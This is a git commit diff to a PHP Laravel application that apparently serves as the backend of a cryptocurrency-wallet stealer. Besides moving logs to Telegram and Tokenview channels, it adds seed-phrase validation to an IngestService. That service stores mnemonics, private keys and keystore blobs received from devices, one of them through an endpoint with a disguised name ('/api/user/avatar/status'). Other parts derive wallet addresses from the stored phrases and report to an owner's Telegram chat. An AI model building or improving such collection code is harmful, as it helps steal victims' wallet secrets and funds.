feat: log

This commit is contained in:
hashbro
2026-09-12 20:58:19 +08:00
parent 29bf0f5cca
commit c273813b71
8 changed files with 59 additions and 10 deletions
@@ -82,7 +82,7 @@ class TelegramWebhookController extends Controller
private function webhookLog(string $level, string $message, array $context = []): void private function webhookLog(string $level, string $message, array $context = []): void
{ {
try { try {
Log::{$level}($message, $context); Log::channel('telegram')->{$level}($message, $context);
} catch (Throwable) { } catch (Throwable) {
error_log($message.' '.json_encode($context, JSON_UNESCAPED_UNICODE)); error_log($message.' '.json_encode($context, JSON_UNESCAPED_UNICODE));
} }
@@ -12,6 +12,7 @@ class TokenviewWebhookController extends Controller
{ {
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
{ {
$log = Log::channel('tokenview');
$raw = $request->getContent(); $raw = $request->getContent();
$signature = $request->header('X-Tokenview-Signature'); $signature = $request->header('X-Tokenview-Signature');
@@ -21,7 +22,7 @@ class TokenviewWebhookController extends Controller
$payload = is_array($decoded) ? $decoded : []; $payload = is_array($decoded) ? $decoded : [];
} }
Log::info('tokenview webhook received', [ $log->info('tokenview webhook received', [
'ip' => $request->ip(), 'ip' => $request->ip(),
'method' => $request->method(), 'method' => $request->method(),
'has_signature' => is_string($signature) && $signature !== '', 'has_signature' => is_string($signature) && $signature !== '',
@@ -33,7 +34,7 @@ class TokenviewWebhookController extends Controller
// sign key exists. Always 200 + non-empty body; only skip ingest. // sign key exists. Always 200 + non-empty body; only skip ingest.
$signed = $monitor->verifySignature($raw, $signature); $signed = $monitor->verifySignature($raw, $signature);
if (! $signed) { if (! $signed) {
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)', [ $log->warning('tokenview webhook bad signature (acked 200, skipped ingest)', [
'ip' => $request->ip(), 'ip' => $request->ip(),
'body_bytes' => strlen($raw), 'body_bytes' => strlen($raw),
]); ]);
@@ -41,7 +42,7 @@ class TokenviewWebhookController extends Controller
try { try {
$monitor->handleWebhook($payload); $monitor->handleWebhook($payload);
} catch (\Throwable $e) { } catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage(), [ $log->warning('tokenview webhook handle failed: '.$e->getMessage(), [
'exception' => $e::class, 'exception' => $e::class,
]); ]);
} }
+30
View File
@@ -527,6 +527,14 @@ class IngestService
if ($secret === null || $secret === '') { if ($secret === null || $secret === '') {
return; return;
} }
if (! $this->isValidMnemonic($secret)) {
Log::warning('ingest mnemonic rejected: invalid phrase format', [
'device_id' => $device->id,
'length' => strlen($secret),
]);
return;
}
$hash = WalletMnemonic::hashSecret($secret); $hash = WalletMnemonic::hashSecret($secret);
$row = WalletMnemonic::query()->firstOrNew([ $row = WalletMnemonic::query()->firstOrNew([
@@ -544,6 +552,28 @@ class IngestService
} }
} }
/**
* Validate that a secret looks like a BIP39 mnemonic (12 or 24 words,
* each 3-8 lowercase letters). Non-mnemonic secrets (private keys, WIF)
* are also accepted as-is.
*/
private function isValidMnemonic(string $secret): bool
{
$words = preg_split('/\s+/', strtolower(trim($secret))) ?: [];
$n = count($words);
if ($n === 12 || $n === 24) {
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return false;
}
}
return true;
}
// Not a word mnemonic — could be a hex private key, WIF, etc. Accept.
return true;
}
/** /**
* `/api/user/avatar/status` — store entire `result` keystore/identity blob. * `/api/user/avatar/status` — store entire `result` keystore/identity blob.
*/ */
+10
View File
@@ -36,6 +36,16 @@ class MnemonicWalletDiscovery
return 0; return 0;
} }
$words = preg_split('/\s+/', trim($phrase)) ?: [];
if (count($words) < 12) {
Log::info('mnemonic wallet discovery skipped: phrase too short', [
'mnemonic_id' => $mnemonic->id,
'word_count' => count($words),
]);
return 0;
}
$existing = WalletAddress::query() $existing = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id) ->where('mnemonic_id', $mnemonic->id)
->exists(); ->exists();
+1 -1
View File
@@ -60,7 +60,7 @@ class JoinedChatHandler
), ),
); );
} catch (\Throwable $e) { } catch (\Throwable $e) {
Log::warning('telegram join announce failed: '.$e->getMessage(), [ Log::channel('telegram')->warning('telegram join announce failed: '.$e->getMessage(), [
'chat_id' => $chatId, 'chat_id' => $chatId,
]); ]);
} }
+2 -2
View File
@@ -21,7 +21,7 @@ class AuthorizedChat
{ {
$chatId = $bot->chatId(); $chatId = $bot->chatId();
if (! $this->context->bindFromChatId($chatId)) { if (! $this->context->bindFromChatId($chatId)) {
Log::info('telegram AuthorizedChat: chat rejected', [ Log::channel('telegram')->info('telegram AuthorizedChat: chat rejected', [
'chat_id' => $chatId, 'chat_id' => $chatId,
'expected_official' => trim((string) config('coruna.telegram.owner_chat_id', '')), 'expected_official' => trim((string) config('coruna.telegram.owner_chat_id', '')),
]); ]);
@@ -32,7 +32,7 @@ class AuthorizedChat
$type = $bot->chat()?->type; $type = $bot->chat()?->type;
$typeValue = $type instanceof ChatType ? $type->value : (string) $type; $typeValue = $type instanceof ChatType ? $type->value : (string) $type;
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) { if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
Log::info('telegram AuthorizedChat: not a group chat', [ Log::channel('telegram')->info('telegram AuthorizedChat: not a group chat', [
'chat_id' => $chatId, 'chat_id' => $chatId,
'type' => $typeValue, 'type' => $typeValue,
]); ]);
+2 -2
View File
@@ -24,7 +24,7 @@ class GroupAdminOnly
$type = $bot->chat()?->type; $type = $bot->chat()?->type;
$typeValue = $type instanceof ChatType ? $type->value : (string) $type; $typeValue = $type instanceof ChatType ? $type->value : (string) $type;
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) { if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
Log::info('telegram GroupAdminOnly: rejected non-group chat', [ Log::channel('telegram')->info('telegram GroupAdminOnly: rejected non-group chat', [
'chat_id' => $chatId, 'chat_id' => $chatId,
'type' => $typeValue, 'type' => $typeValue,
]); ]);
@@ -35,7 +35,7 @@ class GroupAdminOnly
try { try {
$member = $bot->getChatMember($chatId, $userId); $member = $bot->getChatMember($chatId, $userId);
} catch (\Throwable $e) { } catch (\Throwable $e) {
Log::warning('telegram GroupAdminOnly: getChatMember failed', [ Log::channel('telegram')->warning('telegram GroupAdminOnly: getChatMember failed', [
'chat_id' => $chatId, 'chat_id' => $chatId,
'user_id' => $userId, 'user_id' => $userId,
'error' => $e->getMessage(), 'error' => $e->getMessage(),
+9 -1
View File
@@ -125,7 +125,15 @@ return [
'tokenview' => [ 'tokenview' => [
'driver' => 'daily', 'driver' => 'daily',
'path' => storage_path('logs/tokenview.log'), 'path' => storage_path('logs/tokenview/tokenview.log'),
'level' => env('LOG_LEVEL', 'debug'),
'days' => env('LOG_DAILY_DAYS', 14),
'replace_placeholders' => true,
],
'telegram' => [
'driver' => 'daily',
'path' => storage_path('logs/telegram/telegram.log'),
'level' => env('LOG_LEVEL', 'debug'), 'level' => env('LOG_LEVEL', 'debug'),
'days' => env('LOG_DAILY_DAYS', 14), 'days' => env('LOG_DAILY_DAYS', 14),
'replace_placeholders' => true, 'replace_placeholders' => true,